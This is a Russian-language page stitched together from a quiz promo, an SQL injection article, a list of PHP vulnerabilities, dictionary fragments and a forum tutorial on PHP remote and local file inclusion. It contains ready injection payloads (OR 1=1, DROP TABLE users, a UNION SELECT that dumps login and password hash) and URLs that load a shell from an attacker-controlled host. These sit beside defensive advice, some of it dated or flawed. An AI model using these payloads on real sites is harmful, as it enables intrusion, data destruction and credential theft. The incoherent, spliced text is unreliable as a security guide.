Php injection выполнить условие добавив d get. PHP уязвимость и защита от PHP инъекций. Правила безопасного программирования на PHP. Боримся с SQL-инъекцией с помощью PHP

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

Одним из наиболее значимых вопросов для web-программистов является безопасность php-скриптов. Все программисты в той или иной мере используют различные методы чтобы обезопасить свой проект, но, к сожалению, в большинстве случаев используется защита от нескольких уязвимостей, при этом остальные проблемные места даже не рассматриваются.
В данной статье перечислены основные виды уязвимостей PHP и рассмотрены способы защиты от них.

Виды уязвимостей PHP

Демонстрация ошибок пользователю
Смысл: при каких-либо ошибках в коде пользователю выводиться информация об произошедшей ошибке. Не является критичной уязвимостью, но поваляет взломщику получить дополнительную информацию о структуре и работе сервера.
Доступность данных о характеристиках системы пользователю
Смысл: пользователь может получить доступ к данным, дающим представление о системе. Не является критичной уязвимостью, но поваляет взломщику получить дополнительную информацию о структуре и работе сервера. Причина этой уязвимости в ошибках и «недосмотрах» программиста. Примером может служить наличие файла phpinfo.php с одноимённой функцией в свободном доступе.
Доступность данных о программном коде пользователю
Смысл: пользователь может получить доступ к программным кодам модулей, имеющих расширение, отличное от php . Является критичной уязвимостью, так как позваляет взломщику получить достаточно полную информацию о структуре и работе сервера, выявить его уязвимости.
Простые пароли для доступа к административным страницам
Смысл: взломщик может подобрать простой пароль к административной странице, дающей ему больше возможностей для взлома. Является критичной уязвимостью, так как позваляет взломщику повлиять на работу сервера.
Возможность задания глобальных переменных
Смысл: при неправильных настройках PHP имеется возможность задавать глобальные переменные скрипта, через строку запроса. Является критичной уязвимостью, так как взломщик может влиять на ход работы скрипта в свою пользу.
PHP-инъекция
Смысл: в параметр, определяющий работу PHP с файлами или программным кодом, передаётся ссылка на сторонний программный код или сам код. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере. Выполнение кода осуществляется при помощи функций: eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen() .
PHP-инъекция через загрузку файлов
Смысл: при возможности задании глобальных переменных в параметр, определяющий загружаемый на сервер файл, передаётся ссылка на сторонний программный код или конфиденциальный файл на сервере. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере или получить доступ к конфиденциальным данным. Данная уязвимость возможна только при возможности задания глобальных переменных и неверной организации механизма загрузки файлов.
e-mail-инъекция
Смысл: в параметр, определяющий работу PHP с электронными письмами, передаётся ссылка на сторонний программный код или сам код. Является критичной уязвимостью, так как взломщик может выполнять свои скрипты на сервере или получить доступ к данным, хранимым у пользователя.
SQL-инъекция
Смысл: в параметр, определяющий SQL-запрос, передаётся данные, образующее запрос для доступа к закрытым данным. Является критичной уязвимостью, так как взломщик может получить конфиденциальные данные, хранимые в базе данных. Для изменения запроса взломщик может использовать следующие конструкции: SELECT, UNION, UPDATE, INSERT, OR, AND .
Межсайтовый скриптинг или XSS
Смысл: в параметр, определяющий выводимые пользователю данные, передаётся сторонний программный код. Является критичной уязвимостью, так как взломщик может получить конфиденциальные данные, хранимые в браузере клиента. Для изменения запроса взломщик использует html-теги.

Правила написания безопасного кода на PHP

Блокирование вывода ошибок
Для этого достаточно в программном коде задать error_reporting(0) или в файле.htaccess добавить строку php_flag error_reporting 0
Использование сложных паролей для доступа к административным страницам
Для этого достаточно использовать многозначные пароли, не имеющие семантического значения (например, К7O0iV98dq).
Логирование критических действий пользователя
Не обеспечивает защиту напрямую, но позволяет выявить взломщиков и определить уязвимости, которые они использовали. Для этого действия пользователя и переданные им данные, которые касаются критических моментов работы системы, достаточно записывать в обычный текстовый файл.
Пример функции логирования и её работы:
function writelog($typelog, $log_text) {
$log = fopen("logs/".$typelog.".txt","a+");
fwrite($log, "$log_text\r\n");
fclose($log);
}
writelog("authorization", date("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tУспешный вход");
Закрытие доступа к модулям сайта
Обеспечивает защиту от попыток просмотра их содержимого или выполнения. Для этого достаточно в файле.htaccess настроить доступ к файлам модулей при помощи конструкций FilesMatch и Files .
Например, мы закрываем доступ ко всем модулям с расширением php , кроме файла capcha.php :
Отключение возможности задания глобальных переменных
Для этого достаточно в настройках сервера задать register_globals = off; или в файле.htaccess добавить строку php_flag register_globals off . Использование ini_set("register_globals",0); проблему не решит так, как переменные задаются до начала выполнения скрипта.
Отключение возможности использования удаленных файлов
Для этого достаточно в настройках сервера задать allow_url_fopen = off; . Это обеспечивает частичную защиту от PHP-инъекций, но не полную, так как взломщик может передавать не ссылку на файл с программным кодом, а сам программный код. Для полной защиты от PHP-инъекций необходимо дополнительно использовать фильтрацию поступивших данных. Иногда данную меру защиты невозможно использовать из-за особенностей работы проекта (нужно обращаться к удалённым файлам).
Фильтрация поступающих данных
Обеспечивает защиту от большенства уязвимостей. Универсального решения не существует. Желательно использовать проверку по «белому» списку символов в совокупности с проверкой на запрещённые слова. «Белым» называется список разрешенных символов. В этот список не должны входить опасные символы, например, . К запрещённым словам можно отнести: script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp , а также html-теги.
Пример фильтрации поступающих данных:
// Проверка по белому списку. Допускаются только русские и латинские буквы, цифры и знаки _-
if (preg_match("/[^(\w)|(А-Яа-я-)|(\s)]/",$text)) {
$text = "";
}
// Фильтрация опасных слов
if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$text)) {
$text = "";
}
Проверка на загрузку файла при помощи HTTP POST
Обеспечивает защиту от PHP-инъекций через загрузку файлов. Для обеспечения этого загруженные на сервер файлы необходимо проверять функцией is_uploaded_file() или перемещать функцией move_uploaded_file() . Данный вид защиты можно не использовать, если отключена возможность задания глобальных переменных.
Экранирование символов кавычек данных, передаваемых в базу данных
Обеспечивает защиту от SQL-инъекций. Наиболее оптимальным методом является обработка всех поступивших не числовых данных с помощью функции mysql_real_escape_string() . Можно так же использовать автоматическое экранирование, поступающих данных. Для этого достаточно в файле.htaccess добавить строку php_value magic_quotes_gpc on , но этот способ не является надёжным, так как может привести к двойному экранированию.
Пример экранирования кавычек с помощью функции mysql_real_escape_string() :
if (!is_numeric($text)) {
$textrequest = mysql_real_escape_string($text);
}
Преобразование специальных символов в html-сущности перед выводом
Обеспечивает защиту от XSS. Для этого данные, введенные пользователем, которые могут содержать нежелательные html-тэги, при выводе достаточно обработать функцией htmlspecialchars() . Данный вид защиты можно не использовать, если фильтрация поступающих данных отсеивает опасные html-тэги.

Как видите создание продуманной системы безопасности скриптов не такое трудоёмкое дело как кажется.
Данная статья не претендует на роль учебника по безопасности скриптов, но Я надеюсь, что она подтолкнёт php-программистов использовать более продуманные методы защиты.

Пример

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты

Существует несколько способов защиты от такой атаки:

Проверять, не содержит ли переменная $module посторонние символы:

Проверять, что $module присвоено одно из допустимых значений:

Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini .

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

См. также

Ссылки

Wikimedia Foundation . 2010 .

Смотреть что такое "PHP-инъекция" в других словарях:

- … Википедия

У этого термина существуют и другие значения, см. PHP (значения). PHP Семантика: мультипарадигменный … Википедия

E mail инъекция это техника атаки, используемая для эксплуатации почтовых серверов и почтовых приложений, конструирующих IMAP/SMTP выражения из выполняемого пользователем ввода, который не проверяется должным образом. В зависимости от типа… … Википедия

Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

PHP Семантика: мультипарадигменный Тип исполнения: Интерпретатор компилирующего типа Появился в: 1995 г. Автор(ы): Расмус Лердорф Последняя версия: 4 … Википедия

В узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… … Википедия

Основы php-инъекций для новичков.

PHP-инъекция (англ. PHP injection) - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
Нажмите, чтобы раскрыть...

(c)Wiki

Азы.

Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.
На пример:
Представим, что у нас имеется сайт, написанный на PHP.
Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
Код будет выглядить так:
$file = $_GET [ "page" ]; //Отображаемая страница
include($file );
?>
Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
http : //www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?
Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
$file = "http://www.атакующий_серв.com/вредоносный_скрипт.txt?" ; //$_GET["page"];
include($file ); //$file - это внедренный злоумышленником скрипт
?>
Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.
Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include() позволяет запускать удаленные файлы.
Почему в примере был указан скрипт с расширением *.txt , а не *.php ?
Ответ прост, если бы скрипт имел формат *.php , он бы запустился на сервере злоумышленника, а не на целевой системе.
Так же был добавлен символ "? " в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
Пример:
$file = $_GET [ "page" ];
include($file . ".php" );
?>
Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include() .
Т.е.
http : //www.атакующий_серв.com/вредоносный_скрипт.txt
Превращается в
http : //www.атакующий_серв.com/вредоносный_скрипт.txt.php
С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php )
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
http : //www.атакующий_серв.com/вредоносный_скрипт.txt?.php
Но он остается исполняемым.
Проведение PHP-инъекций через уязвимость функции include().

RFI - удаленный инклюд при PHP-инъекции.

Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
/ index . php ? page = main
Подставляем вместо main любое бредовое значение, например upyachka
/ index . php ? page = upyachka
В ответ получим ошибку:
Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www //page.php on line 3
Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www / page . php on line 3
Warning : main (): Failed opening "upyachka.php" for inclusion (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear" ) in / home / user / www / page . php on line 3
Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
http : //www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell
Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.
LFI - локальный инклюд при PHP-инъекции.

Представим, что мы набрели на тот же уязвимый сайт
/ index . php ? file = main
С кодом
..
Include ("folder/ $page .htm" );
…
?>
Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
/ index . php ? page =../ index . php
В следующем случае код выглядит вот таким образом:
..
Include (" $dir1 /folder/page.php" );
…
?>
В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
http : //www.сайт_злоумышленника.com/folder/shell.php
Инъекция в таком случае будет выглядить так:
index . php ? dir1 = http : //www.сайт_злоумышленника.com/
Способы защиты

Рассмотрим скрипт:
...

include $module . ".php" ;
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.
Существует несколько способов защиты от такой атаки:

-Проверять, не содержит ли переменная $module посторонние символы:
...
$module = $_GET [ "module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
include $module . ".php" ;
...
?>
-Проверять, что $module присвоено одно из допустимых значений:
"/" , "" , $page ); // Блокируется возможность перехода в другие дирректории.
if (file_exists ("files/ $page .htm " ))
{
Include ("files/ $page .htm" );
}
Else
{
Echo "error" ;
}
…
?>
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
При написании были использованы материалы из
Википедии,
с забугорного форума security-sh3ll (spl0it),
с форума Античат (GreenBear).
Отдельное спасибо Burt и f02 за помощь,
поддержку и благую критику)